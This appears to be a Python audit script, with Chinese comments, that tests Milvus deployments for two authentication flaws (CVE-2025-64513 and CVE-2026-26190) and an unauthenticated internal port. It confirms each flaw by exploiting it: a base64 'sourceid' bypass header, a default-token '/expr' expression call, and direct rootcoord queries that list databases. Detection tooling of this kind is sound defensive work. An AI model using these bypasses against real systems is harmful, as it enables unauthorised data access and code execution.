#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ milvus-auth-audit.py - Milvus 认证安全检测脚本 检测三个认证缺陷： [check] 认证状态探测：authorizationEnabled 是否开启、版本号 [verify] CVE-2025-64513: sourceid 后门（base64("@@milvus-member@@") 绕过 proxy 认证） [verify] CVE-2026-26190: /expr 弱默认 token（etcd.rootPath=by-dev）任意表达式求值 [exploit] 内部端口 rootcoord 53100 未认证（需容器网络内可达） 用法: python3 milvus-auth-audit.py --host 127.0.0.1 --port 19530 python3 milvus-auth-audit.py --host 192.168.1.10 --port 19530 --mgmt-port 9091 python3 milvus-auth-audit.py --host 172.22.0.4 --port 19530 --internal-port 53100 --cve-check 依赖: grpcio, protobuf (pip install grpcio protobuf) """ import argparse import base64 import sys import subprocess try: import grpc HAS_GRPC = True except ImportError: HAS_GRPC = False MEMBER_CRED = "@@milvus-member@@" SOURCEID_PAYLOAD = base64.b64encode(MEMBER_CRED.encode()).decode() # QEBtaWx2dXMtbWVtYmVyQEA= DEFAULT_EXPR_AUTH = "by-dev" # etcd.rootPath 默认值 BANNER = r""" __ __ _ _ _ _ _ _ _____ | \/ (_) | | | | | | | | |_ _| | \ / |_| |_ _ _| | __ _ _ _ ___ ___| | | | | | | | | | |\/| | | __| | | | | / _` | | | |/ _ \/ __| | | | | | | | | | | | | | |_| |_| | | | (_| | |_| | __/\__ \ |_| |_| |_| | | |_| |_|_|\__|\__,_|_| \__, |\__,_|\___||___/\___/\___/ \_|_| __/ | |___/ Milvus 认证安全检测 (CVE-2025-64513 / CVE-2026-26190) """ def http_get(url, timeout=10): try: r = subprocess.run(["curl", "-s", "--max-time", str(timeout), url], capture_output=True, text=True, timeout=timeout + 5) return r.stdout except Exception as e: return f"ERR: {e}" def check_auth_state(host, port): """check: 认证状态探测（未认证 ListDatabases 基线）""" if not HAS_GRPC: return "unknown (no grpc)" try: sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "proto")) from milvus_pb2_grpc import MilvusServiceStub import milvus_pb2 as mpb ch = grpc.insecure_channel(f"{host}:{port}") st = MilvusServiceStub(ch) try: r = st.ListDatabases(mpb.ListDatabasesRequest()) if r.status.code == 0: return "未开启认证(完全匿名可访问)" return f"异常(code={r.status.code})" except grpc.RpcError as e: if e.code() == grpc.StatusCode.UNAUTHENTICATED: return "已开启认证(authorizationEnabled=true)" return f"异常({e.code().name})" except Exception as e: return f"unknown ({str(e)[:40]})" def verify_sourceid(host, port): """CVE-2025-64513: sourceid 后门绕过 proxy 认证""" if not HAS_GRPC: return "SKIP", "no grpc" try: sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "proto")) from milvus_pb2_grpc import MilvusServiceStub import milvus_pb2 as mpb ch = grpc.insecure_channel(f"{host}:{port}") st = MilvusServiceStub(ch) # 基线：未认证 try: st.ListDatabases(mpb.ListDatabasesRequest()) baseline = "OPEN" except grpc.RpcError as e: if e.code() == grpc.StatusCode.UNAUTHENTICATED: baseline = "AUTH_REQUIRED" else: baseline = f"ERR:{e.code().name}" if baseline == "AUTH_REQUIRED": # 带 sourceid 后门 try: r = st.ListDatabases(mpb.ListDatabasesRequest(), metadata=[("sourceid", SOURCEID_PAYLOAD)]) if r.status.code == 0: return "HIT", f"sourceid 后门绕过认证, 数据库={list(r.db_names)}" return "SAFE", "sourceid 被拒绝" except grpc.RpcError: return "SAFE", "sourceid 被拒绝" elif baseline == "OPEN": return "WARN", "未开启认证(authorizationEnabled=false), 完全匿名可访问" return "SKIP", f"基线异常: {baseline}" except Exception as e: return "SKIP", str(e)[:80] def verify_expr(host, mgmt_port): """CVE-2026-26190: /expr 弱默认 token 任意表达式求值""" url = f"http://{host}:{mgmt_port}/expr?code=1%2B1&auth={DEFAULT_EXPR_AUTH}" body = http_get(url) if '"output":"2"' in body or '"output": "2"' in body: return "HIT", "/expr 任意表达式执行 (auth=by-dev)" if "expr endpoint is disabled" in body: return "SAFE", "/expr 已默认禁用" if "auth is invalid" in body: return "SAFE", "/expr token 不可预测" return "SKIP", f"响应异常: {body[:60]}" def check_internal_port(host, internal_port): """内部端口 rootcoord 无认证（容器网络内）""" if not HAS_GRPC: return "SKIP", "no grpc" try: sys.path.insert(0, os.path.join(os.path.dirname(os.path.abspath(__file__)), "proto")) from root_coord_pb2_grpc import RootCoordStub import milvus_pb2 as mpb ch = grpc.insecure_channel(f"{host}:{internal_port}") st = RootCoordStub(ch) r = st.ListDatabases(mpb.ListDatabasesRequest()) if r.status.code == 0: return "HIT", f"内部端口未认证, 数据库={list(r.db_names)}" return "SAFE", f"拒绝: {r.status.reason[:40]}" except grpc.RpcError as e: if e.code() == grpc.StatusCode.UNAVAILABLE: return "SAFE", "端口不可达" return "SKIP", str(e)[:60] except Exception as e: return "SKIP", str(e)[:60] def main(): global os import os print(BANNER) ap = argparse.ArgumentParser(description="Milvus 认证安全检测") ap.add_argument("--host", default="127.0.0.1", help="Milvus proxy 地址") ap.add_argument("--port", type=int, default=19530, help="Milvus proxy gRPC 端口") ap.add_argument("--mgmt-port", type=int, default=9091, help="管理端口(metrics/expr)") ap.add_argument("--internal-port", type=int, default=0, help="内部端口(rootcoord, 默认53100, 0=跳过)") ap.add_argument("--cve-check", action="store_true", help="额外输出 CVE 影响版本判断") args = ap.parse_args() results = [] print(f"[*] 目标: {args.host}:{args.port} 管理端口: {args.mgmt_port}") # 认证状态 auth_state = check_auth_state(args.host, args.port) print(f"[check] 认证状态: {auth_state}") # 洞1 status, msg = verify_sourceid(args.host, args.port) results.append(("CVE-2025-64513 sourceid 后门", status)) print(f"[verify] {msg} -> {status}") # 洞2 status, msg = verify_expr(args.host, args.mgmt_port) results.append(("CVE-2026-26190 /expr 弱token", status)) print(f"[verify] {msg} -> {status}") # 洞3 iport = args.internal_port or 0 if iport: status, msg = check_internal_port(args.host, iport) results.append(("内部端口 rootcoord 无认证", status)) print(f"[exploit] {msg} -> {status}") else: print("[exploit] 跳过内部端口检测 (--internal-port 指定, 需容器网络内可达)") if args.cve_check: print("\n[CVE 影响版本]") print(" CVE-2025-64513: < 2.4.24 / < 2.5.21 / < 2.6.5") print(" CVE-2026-26190: < 2.5.27 / < 2.6.10") print(" 内部端口无认证: 2.6.10 之前（2.6.10 起 53100 不再监听）") print("\n[结果汇总]") for name, st in results: print(f" {st:6s} {name}") hit = sum(1 for _, st in results if st == "HIT") skip = sum(1 for _, st in results if st == "SKIP") if hit: print(f"\n[!] 发现 {hit} 个可利用认证缺陷") elif skip: print(f"\n[?] {skip} 项检测未完成(网络/依赖问题)，未发现明确缺陷") else: print("\n[+] 未发现认证缺陷") if __name__ == "__main__": main()